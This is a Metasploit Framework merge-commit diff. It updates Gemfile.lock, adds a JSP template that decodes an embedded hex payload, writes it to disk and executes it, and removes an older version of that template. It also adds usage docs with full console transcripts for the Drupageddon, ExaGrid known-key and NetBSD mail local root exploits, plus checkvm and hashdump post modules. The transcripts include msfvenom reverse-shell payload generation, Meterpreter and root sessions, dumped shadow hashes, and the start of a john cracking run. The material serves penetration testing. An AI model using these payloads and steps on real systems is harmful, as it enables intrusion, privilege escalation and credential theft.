Merge branch 'master' into bug/7321/fix-ssh-modules
commit
e315ec4e73
14
Gemfile.lock
14
Gemfile.lock
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.12.24)
|
||||
metasploit-framework (4.12.27)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -36,6 +36,7 @@ PATH
|
|||
rex-arch
|
||||
rex-bin_tools
|
||||
rex-core
|
||||
rex-encoder
|
||||
rex-java
|
||||
rex-mime
|
||||
rex-nop
|
||||
|
@ -43,6 +44,7 @@ PATH
|
|||
rex-powershell
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-rop_builder
|
||||
rex-socket
|
||||
rex-sslscan
|
||||
rex-struct2
|
||||
|
@ -243,6 +245,10 @@ GEM
|
|||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.2)
|
||||
rex-encoder (0.1.0)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-java (0.1.2)
|
||||
rex-mime (0.1.1)
|
||||
rex-text
|
||||
|
@ -256,6 +262,10 @@ GEM
|
|||
rex-random_identifier (0.1.0)
|
||||
rex-text
|
||||
rex-registry (0.1.0)
|
||||
rex-rop_builder (0.1.0)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.0)
|
||||
rex-core
|
||||
rex-sslscan (0.1.0)
|
||||
|
@ -331,4 +341,4 @@ DEPENDENCIES
|
|||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.12.5
|
||||
1.13.1
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
<%%@ page import="java.io.*" %%>
|
||||
<%%
|
||||
String %{var_payload} = "%{payload}";
|
||||
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
|
||||
|
||||
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
|
||||
%{var_exepath} = %{var_exepath}.concat(".exe");
|
||||
}
|
||||
|
||||
int %{var_payloadlength} = %{var_payload}.length();
|
||||
byte[] %{var_bytes} = new byte[%{var_payloadlength}/2];
|
||||
for (int %{var_counter} = 0; %{var_counter} < %{var_payloadlength}; %{var_counter} += 2) {
|
||||
%{var_bytes}[%{var_counter} / 2] = (byte) ((Character.digit(%{var_payload}.charAt(%{var_counter}), 16) << 4)
|
||||
+ Character.digit(%{var_payload}.charAt(%{var_counter}+1), 16));
|
||||
}
|
||||
|
||||
FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
|
||||
%{var_outputstream}.write(%{var_bytes});
|
||||
%{var_outputstream}.flush();
|
||||
%{var_outputstream}.close();
|
||||
|
||||
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
|
||||
String[] %{var_fperm} = new String[3];
|
||||
%{var_fperm}[0] = "chmod";
|
||||
%{var_fperm}[1] = "+x";
|
||||
%{var_fperm}[2] = %{var_exepath};
|
||||
Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
|
||||
if (%{var_proc}.waitFor() == 0) {
|
||||
%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
|
||||
}
|
||||
|
||||
File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
|
||||
} else {
|
||||
String[] %{var_exepatharray} = new String[1];
|
||||
%{var_exepatharray}[0] = %{var_exepath};
|
||||
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray});
|
||||
}
|
||||
%%>
|
|
@ -1,51 +0,0 @@
|
|||
<%%@ page import="java.io.*" %%>
|
||||
<%%
|
||||
String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
|
||||
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
|
||||
String %{var_data} = "";
|
||||
|
||||
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
|
||||
{
|
||||
%{var_exepath} = %{var_exepath}.concat(".exe");
|
||||
}
|
||||
|
||||
FileInputStream %{var_inputstream} = new FileInputStream(%{var_hexpath});
|
||||
FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
|
||||
|
||||
int %{var_numbytes} = %{var_inputstream}.available();
|
||||
byte %{var_bytearray}[] = new byte[%{var_numbytes}];
|
||||
%{var_inputstream}.read(%{var_bytearray});
|
||||
%{var_inputstream}.close();
|
||||
byte[] %{var_bytes} = new byte[%{var_numbytes}/2];
|
||||
for (int %{var_counter} = 0; %{var_counter} < %{var_numbytes}; %{var_counter} += 2)
|
||||
{
|
||||
char %{var_char1} = (char) %{var_bytearray}[%{var_counter}];
|
||||
char %{var_char2} = (char) %{var_bytearray}[%{var_counter} + 1];
|
||||
int %{var_comb} = Character.digit(%{var_char1}, 16) & 0xff;
|
||||
%{var_comb} <<= 4;
|
||||
%{var_comb} += Character.digit(%{var_char2}, 16) & 0xff;
|
||||
%{var_bytes}[%{var_counter}/2] = (byte)%{var_comb};
|
||||
}
|
||||
|
||||
%{var_outputstream}.write(%{var_bytes});
|
||||
%{var_outputstream}.close();
|
||||
|
||||
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
|
||||
String[] %{var_fperm} = new String[3];
|
||||
%{var_fperm}[0] = "chmod";
|
||||
%{var_fperm}[1] = "+x";
|
||||
%{var_fperm}[2] = %{var_exepath};
|
||||
Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
|
||||
if (%{var_proc}.waitFor() == 0) {
|
||||
%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
|
||||
}
|
||||
|
||||
File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
|
||||
}
|
||||
else
|
||||
{
|
||||
String[] %{var_exepatharray} = new String[1];
|
||||
%{var_exepatharray}[0] = %{var_exepath};
|
||||
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray});
|
||||
}
|
||||
%%>
|
|
@ -0,0 +1,27 @@
|
|||
## Vulnerable Application
|
||||
|
||||
ExaGrid devices having a firmware before version 4.8 P26 contain a known ssh private key, and root password
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/linux/ssh/exagrid_known_privkey`
|
||||
3. Do: `set rhost <ip>`
|
||||
4. Do: `exploit`
|
||||
5. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This is a run against a known vulnerable ExaGrid device.
|
||||
```
|
||||
msf > use exploit/linux/ssh/exagrid_known_privkey
|
||||
msf exploit(exagrid_known_privkey) > set rhost 1.2.3.4
|
||||
rhost => 1.2.3.4
|
||||
msf exploit(exagrid_known_privkey) > run
|
||||
|
||||
[+] Successful login
|
||||
[*] Command shell session 3 opened (140.172.223.184:39269 -> 1.2.3.4:22) at 2016-07-23 10:03:19 -0400
|
||||
|
||||
ExaGrid diagnostic tools are available in this shell.
|
||||
02:05:49 up 12 days, 9:12, 0 users, load average: 3.32, 2.88, 9.21
|
||||
```
|
|
@ -0,0 +1,57 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Drupal 7.31 official [download](https://ftp.drupal.org/files/projects/drupal-7.31.tar.gz)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/multi/http/drupal_drupageddon`
|
||||
4. Do: `set rhost <ip>`
|
||||
5. Do: `run`
|
||||
6. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This is a run against a Drupal 7.31 linux box.
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/drupal_drupageddon
|
||||
msf exploit(drupal_drupageddon)
|
||||
msf exploit(drupal_drupageddon) > set rhost 1.1.1.1
|
||||
rhost => 1.1.1.1
|
||||
msf exploit(drupal_drupageddon) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(drupal_drupageddon) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Testing page
|
||||
[*] form_build_id: form-a1VaaaEaa0lUvL79wIAfdQEaaJRw8P7a1aWGXElI_Go
|
||||
[*] form_token:
|
||||
[*] password hash: $P\$8zAAApjTciVA2qz7HdAA0UjAAwUft00
|
||||
[*] Creating new user AaCaUlLaPR:AAgeAAAAjA
|
||||
[*] Logging in as AaCaUlLaPR:AAgeAAAAjA
|
||||
[*] cookie: SESS911797186fac11111d08b1111a15db55=aaSfinhC0AAAAbzhAoO3bBaaOerRrvpn3cL0rA77Dhg;
|
||||
[*] Trying to parse enabled modules
|
||||
[*] form_build_id: form-YZljDkG8n5AAaAaAaaaYGLaP8MIfdif5VfwjQMMxdN0
|
||||
[*] form_token: Bj92oAaAaWRwqyAAAySWQpeUI03aA9wfkAozXsk_t_E
|
||||
[*] Enabling the PHP filter module
|
||||
[*] Setting permissions for PHP filter module
|
||||
[*] form_build_id: form-1Z1pAg11amM-1jHALgm1AAAAA1JdwAAA1qXnSTZahPA
|
||||
[*] form_token: kAA1A1AfqK_PvJQi1AAAAAAAAxyGyLvHemBor1q11Z1
|
||||
[*] admin role id: 3
|
||||
[*] Getting tokens from create new article page
|
||||
[*] form_build_id: form-_-leQaaaAAeBXbAaAAaaAAx1IrYSI1qeA2OGf2Ce1vs
|
||||
[*] form_token: Ib1y8aAaaAAAdapA53kUcfWf7msTRHiDUb_CIKzAAAA
|
||||
[*] Calling preview page. Exploit should trigger...
|
||||
[*] Sending stage (33721 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:45388) at 2016-08-25 11:30:41 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : drupal
|
||||
OS : Linux drupal 2.6.32-642.3.1.el6.x86_64 #1 SMP Sun Jun 26 18:16:44 EDT 2016 x86_64
|
||||
Meterpreter : php/linux
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: apache (48)
|
||||
```
|
|
@ -0,0 +1,203 @@
|
|||
## Vulnerable Application
|
||||
|
||||
NetBSD 7.0.1 is available from the [official](http://cdn.netbsd.org/pub/NetBSD/NetBSD-7.0.1/images/NetBSD-7.0.1-amd64.iso) site, or on an [unofficial git](https://github.com/h00die/MSF-Testing-Scripts/blob/master/NetBSD-7.0.1-amd64.iso)
|
||||
|
||||
## Issues
|
||||
Getting an initial shell that can write files correctly was difficult. The best I found was reverse_openssl.
|
||||
|
||||
Payloads that didn't work:
|
||||
* cmd/unix/reverse - connected back, but couldn't write file.
|
||||
```
|
||||
[*] Started reverse TCP double handler on 172.16.152.1:4444
|
||||
[*] Writing Payload to /tmp/zrWqhXpL
|
||||
[*] Max line length is 131073
|
||||
[*] /usr/bin/printf '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[*] printf '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[*] /usr/bin/printf %b '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[*] printf %b '\0\377\376\101\102\103\104\177\45\45\15\12' Failed: "\xFF\xF4\xFF\xFD\x06\xFF\xFF\xFEABCD\x7F%%\r\x00\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[*] perl -e 'print("\0\377\376\101\102\103\104\177\45\45\15\12")' Failed: "perl: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[*] gawk 'BEGIN {ORS="";print "\x00\xff\xfe\x41\x42\x43\x44\x7f\x25\x25\x0d\x0a"}' </dev/null Failed: "gawk: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[*] echo '00fffe414243447f25250d0a'|xxd -p -r Failed: "xxd: not found\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[*] echo -ne '\x00\xff\xfe\x41\x42\x43\x44\x7f\x25\x25\x0d\x0a' Failed: "-ne \\x00\\xff\\xfe\\x41\\x42\\x43\\x44\\x7f\\x25\\x25\\x0d\\x0a\r\n" != "\x00\xFF\xFEABCD\x7F%%\r\n"
|
||||
[-] Exploit failed: RuntimeError Can't find command on the victim for writing binary data
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
* cmd/unix/reverse_awk - `awk: syntax error at source line 1`
|
||||
* cmd/unix/reverse_bash - `./bsd.payload: 1: Syntax error: Bad fd number`
|
||||
* cmd/unix/reverse_bash_telnet_ssl - `$ telnet: unknown option -- z`
|
||||
* cmd/unix/reverse_ssl_double_telnet - `$ telnet: unknown option -- z`
|
||||
* cmd/unix/reverse_lua - `lua: (command line):1: module 'socket' not found`
|
||||
* netcat, node, perl, php, python, php, ruby, zsh - all not installed by default
|
||||
* bsd/* didn't seem to work either, maybe its for freebsd?
|
||||
|
||||
Payloads that did work:
|
||||
* cmd/unix/reverse_openssl
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get an initial shell
|
||||
1. Create working shell, scp it over
|
||||
```
|
||||
./msfvenom -p cmd/unix/reverse_openssl lhost=172.16.152.1 -f raw -o /tmp/bsd.payload
|
||||
scp /tmp/bsd.payload user@172.16.152.128:/tmp/
|
||||
```
|
||||
2. Setup msf to handle
|
||||
```
|
||||
use exploit/multi/handler
|
||||
set payload cmd/unix/reverse_openssl
|
||||
set lhost 172.16.152.1
|
||||
exploit
|
||||
```
|
||||
3. Run the shell from NetBSD
|
||||
```
|
||||
$ cd /tmp
|
||||
$ ls
|
||||
bsd.payload
|
||||
$ chmod +x bsd.payload
|
||||
$ ./bsd.payload
|
||||
$ WARNING: can't open config file: /etc/openssl/openssl.cnf
|
||||
depth=0 CN = vgekg
|
||||
verify error:num=18:self signed certificate
|
||||
verify return:1
|
||||
depth=0 CN = vgekg
|
||||
verify return:1
|
||||
```
|
||||
4. Receive the shell and background it
|
||||
```
|
||||
[*] Started reverse double SSL handler on 172.16.152.1:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo NwNHAEiJioYIvn4M;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket A
|
||||
[*] A: "NwNHAEiJioYIvn4M\n"
|
||||
[*] Matching...
|
||||
[*] B is input...
|
||||
[*] Command shell session 1 opened (172.16.152.1:4444 -> 172.16.152.128:65534) at 2016-08-25 19:58:39 -0400
|
||||
^Z
|
||||
Background session 1? [y/N] y
|
||||
```
|
||||
3. Do: `use exploit/unix/local/netbsd_mail_local`
|
||||
4. Do: `set payload cmd/unix/reverse_openssl`
|
||||
5. Do: `set lhost 172.16.152.1`
|
||||
6. Do: `set verbose true`
|
||||
7. Do: `set session 1`
|
||||
8. Do: `exploit`
|
||||
9. You should get a *root* shell.
|
||||
|
||||
## Options
|
||||
|
||||
**ATRUNPATH**
|
||||
File location of atrun, defaults to `/usr/libexec/atrun`
|
||||
|
||||
**MAILDIR**
|
||||
Location of mail folder, defaults to `/var/mail`
|
||||
|
||||
**WritableDir**
|
||||
Location of a writable directory for our payload, defaults to `/tmp`
|
||||
|
||||
**ListenerTimeout**
|
||||
Since this exploit utilized a cron which has a 10min timer, the listener timeout needs to be 10min + padding. Defaults to `603` seconds (10min, 3sec)
|
||||
|
||||
## Scenarios
|
||||
|
||||
Here is a run against a virgin install of `NetBSD 7.0.1 NetBSD 7.0.1 (GENERIC.201605221355Z) amd64` (from the unofficial link at the top)
|
||||
|
||||
In this example, I got lucky and only had to wait ~1min for the cron to hit, which is every 10min by default
|
||||
|
||||
1. Get an initial shell
|
||||
1. Create working shell, scp it over
|
||||
```
|
||||
./msfvenom -p cmd/unix/reverse_openssl lhost=172.16.152.1 -f raw -o /tmp/bsd.payload
|
||||
scp /tmp/bsd.payload user@172.16.152.128:/tmp/
|
||||
```
|
||||
2. Setup msf to handle
|
||||
```
|
||||
use exploit/multi/handler
|
||||
set payload cmd/unix/reverse_openssl
|
||||
set lhost 172.16.152.1
|
||||
exploit
|
||||
```
|
||||
3. Run the shell from NetBSD
|
||||
```
|
||||
$ cd /tmp
|
||||
$ ls
|
||||
bsd.payload
|
||||
$ chmod +x bsd.payload
|
||||
$ ./bsd.payload
|
||||
$ WARNING: can't open config file: /etc/openssl/openssl.cnf
|
||||
depth=0 CN = vgekg
|
||||
verify error:num=18:self signed certificate
|
||||
verify return:1
|
||||
depth=0 CN = vgekg
|
||||
verify return:1
|
||||
```
|
||||
4. Receive the shell and background it
|
||||
```
|
||||
[*] Started reverse double SSL handler on 172.16.152.1:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo NwNHAEiJioYIvn4M;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket A
|
||||
[*] A: "NwNHAEiJioYIvn4M\n"
|
||||
[*] Matching...
|
||||
[*] B is input...
|
||||
[*] Command shell session 1 opened (172.16.152.1:4444 -> 172.16.152.128:65534) at 2016-08-25 19:58:39 -0400
|
||||
^Z
|
||||
Background session 1? [y/N] y
|
||||
```
|
||||
2. Run the exploit
|
||||
```
|
||||
msf exploit(netbsd_mail_local) > set payload cmd/unix/reverse_openssl
|
||||
payload => cmd/unix/reverse_openssl
|
||||
msf exploit(netbsd_mail_local) > set lhost 172.16.152.1
|
||||
lhost => 172.16.152.1
|
||||
msf exploit(netbsd_mail_local) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(netbsd_mail_local) > set session 1
|
||||
session => 1
|
||||
msf exploit(netbsd_mail_local) > exploit
|
||||
[*] Started reverse double SSL handler on 172.16.152.1:4444
|
||||
[*] Writing Payload to /tmp/pjDkvmGg
|
||||
[*] Max line length is 131073
|
||||
[*] Writing 176 bytes in 1 chunks of 618 bytes (octal-encoded), using printf
|
||||
[*] Writing exploit to /tmp/GHIKGOWX.c
|
||||
[*] Max line length is 131073
|
||||
[*] Writing 4898 bytes in 1 chunks of 17162 bytes (octal-encoded), using printf
|
||||
[*] Compiling /tmp/GHIKGOWX.c via gcc
|
||||
[*] Starting the payload handler...
|
||||
[*] Executing at 2016-08-25 19:59:04 -0400. May take up to 10min for callback
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo X6C4UIDx4zmwM0DJ;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket A
|
||||
[*] A: "X6C4UIDx4zmwM0DJ\n"
|
||||
[*] Matching...
|
||||
[*] B is input...
|
||||
[*] Command shell session 2 opened (172.16.152.1:4444 -> 172.16.152.128:65532) at 2016-08-25 20:00:02 -0400
|
||||
[*] 2016-08-25 20:00:02 -0400
|
||||
[*] Remember to run: chown root:wheel /usr/libexec/atrun
|
||||
[+] Deleted /tmp/pjDkvmGg
|
||||
[!] This exploit may require manual cleanup of '/tmp/pjDkvmGg' on the target
|
||||
[!] This exploit may require manual cleanup of '/tmp/GHIKGOWX' on the target
|
||||
[!] This exploit may require manual cleanup of '/tmp/GHIKGOWX.out' on the target
|
||||
1633029467
|
||||
TkBWZEPqsRvYvmwNaTcjImhcSzZHOAtY
|
||||
true
|
||||
JUqfyioWthnpvyxRJAZosSGQjnLHqPUB
|
||||
sHXbQbHqFIbnZGoFWlZoppGprWyKwFCr
|
||||
nDpSrEmQhDuVSxIpILWCOABbMOIAWUTx
|
||||
whoami
|
||||
root
|
||||
```
|
|
@ -0,0 +1,130 @@
|
|||
## Locations Checked
|
||||
|
||||
There are many locations that are checked for having evidence of being a virtual machine. The follow is a list of them:
|
||||
|
||||
1. (with root access) `/usr/sbin/dmidecode`
|
||||
2. `/sbin/lsmod`
|
||||
3. `/proc/scsi/scsi`
|
||||
4. `cat /proc/ide/hd*/model`
|
||||
5. `lspci`
|
||||
6. `ls -1 /sys/bus`
|
||||
7. `lscpu`
|
||||
8. `dmesg`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a session via exploit of your choice
|
||||
3. Do: `use post/linux/gather/checkvm`
|
||||
4. Do: `set session <session>`
|
||||
5. Do: `run`
|
||||
6. You should get feedback if a virtual machine environment was detected
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions -l`
|
||||
|
||||
## Scenarios
|
||||
|
||||
Typical run against Kali with only one user (root), using ssh_login for initial shell
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username root
|
||||
username => root
|
||||
msf auxiliary(ssh_login) > set password "test"
|
||||
password => example_password
|
||||
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[-] SSH - Could not connect: The connection was refused by the remote host (127.0.0.1:22).
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'root:test' 'uid=0(root) gid=0(root) groups=0(root) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (127.0.0.1:41521 -> 127.0.0.1:22) at 2016-09-14 00:14:36 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ssh_login) > use post/linux/gather/checkvm
|
||||
msf post(checkvm) > set session 1
|
||||
session => 1
|
||||
msf post(checkvm) > run
|
||||
|
||||
[*] Gathering System info ....
|
||||
[+] This appears to be a 'Xen' virtual machine
|
||||
[*] Post module execution completed
|
||||
```
|
||||
A non-virtual machine will have the following output
|
||||
```
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username root
|
||||
username => root
|
||||
msf auxiliary(ssh_login) > set password "test"
|
||||
password => example_password
|
||||
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[-] SSH - Could not connect: The connection was refused by the remote host (127.0.0.1:22).
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'root:test' 'uid=0(root) gid=0(root) groups=0(root) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (127.0.0.1:41521 -> 127.0.0.1:22) at 2016-09-14 00:15:36 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ssh_login) > use post/linux/gather/checkvm
|
||||
msf post(checkvm) > set session 1
|
||||
session => 1
|
||||
msf post(checkvm) > run
|
||||
|
||||
[*] Gathering System info ....
|
||||
[*] This does not appear to be a virtual machine
|
||||
[*] Post module execution completed
|
||||
```
|
||||
And a VMwave virtual machine
|
||||
```
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username root
|
||||
username => root
|
||||
msf auxiliary(ssh_login) > set password "test"
|
||||
password => example_password
|
||||
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[-] SSH - Could not connect: The connection was refused by the remote host (127.0.0.1:22).
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'root:test' 'uid=0(root) gid=0(root) groups=0(root) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (127.0.0.1:41521 -> 127.0.0.1:22) at 2016-09-14 00:18:36 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ssh_login) > use post/linux/gather/checkvm
|
||||
msf post(checkvm) > set session 1
|
||||
session => 1
|
||||
msf post(checkvm) > run
|
||||
|
||||
[*] Gathering System info ....
|
||||
[+] This appears to be a 'VMware' virtual machine
|
||||
[*] Post module execution completed
|
||||
```
|
|
@ -0,0 +1,98 @@
|
|||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a session via exploit of your choice
|
||||
3. Do: `use post/linux/gather/hashdump`
|
||||
4. Do: `set session <session>`
|
||||
5. Do: `run`
|
||||
6. You should see the contents of the shadow file
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions -l`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Obtain Hashes
|
||||
|
||||
Typical run against Kali, using ssh_login for initial shell
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username root
|
||||
username => root
|
||||
msf auxiliary(ssh_login) > set password "test"
|
||||
password => example_password
|
||||
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[-] SSH - Could not connect: The connection was refused by the remote host (127.0.0.1:22).
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'root:test' 'uid=0(root) gid=0(root) groups=0(root) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (127.0.0.1:41521 -> 127.0.0.1:22) at 2016-09-14 00:12:36 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ssh_login) > use post/linux/gather/hashdump
|
||||
msf post(hashdump) > set session 1
|
||||
session => 1
|
||||
msf post(hashdump) > exploit
|
||||
|
||||
[+] root:$6$eMImGFXb$3eYV4g315Qf2NA1aQ72yMwnM68PapXfCoP74kAb5vmQoqOz7sDTJQEMPUNNjZSEz.E4tXebqvt2iR3W50L8NX.:0:0:root:/root:/bin/bash
|
||||
[+] test:$6$gsSmzVTM$vxnEAvs2jEhuFtq0yzgCm.p49RmirvyI6HvPXgbLZCtg1sLp5Q2U82U6Gv6i5hz/pcsz882rnLRAyIL24h3/N.:1000:1000:test,,,:/home/test:/bin/bash
|
||||
[+] Unshadowed Password File: /root/.msf4/loot/20160914003144_default_127.0.0.1_linux.hashes_080983.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
This module only works when you are root or have root permisions. If you only have user permission, expect feedback:
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username test
|
||||
username => test
|
||||
msf auxiliary(ssh_login) > set password test
|
||||
password => test
|
||||
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'test:test' 'uid=1000(test) gid=1000(test) groups=1000(test) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (127.0.0.1:44823 -> 127.0.0.1:22) at 2016-09-14 00:24:17 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ssh_login) > use post/linux/gather/hashdump
|
||||
msf post(hashdump) > set session 1
|
||||
session => 1
|
||||
msf post(hashdump) > exploit
|
||||
|
||||
[-] You must run this module as root!
|
||||
[*] Post module execution completed
|
||||
```
|
||||
### Crack Hashes (John the Ripper)
|
||||
|
||||
The stored file can then have a password cracker used against it. In this scenario, we'll use john (the ripper).
|
||||
```
|
||||
root@k:/git/metasploit-framework# john /root/.msf4/loot/20160914003144_default_127.0.0.1_linux.hashes_080983.txt
|
||||
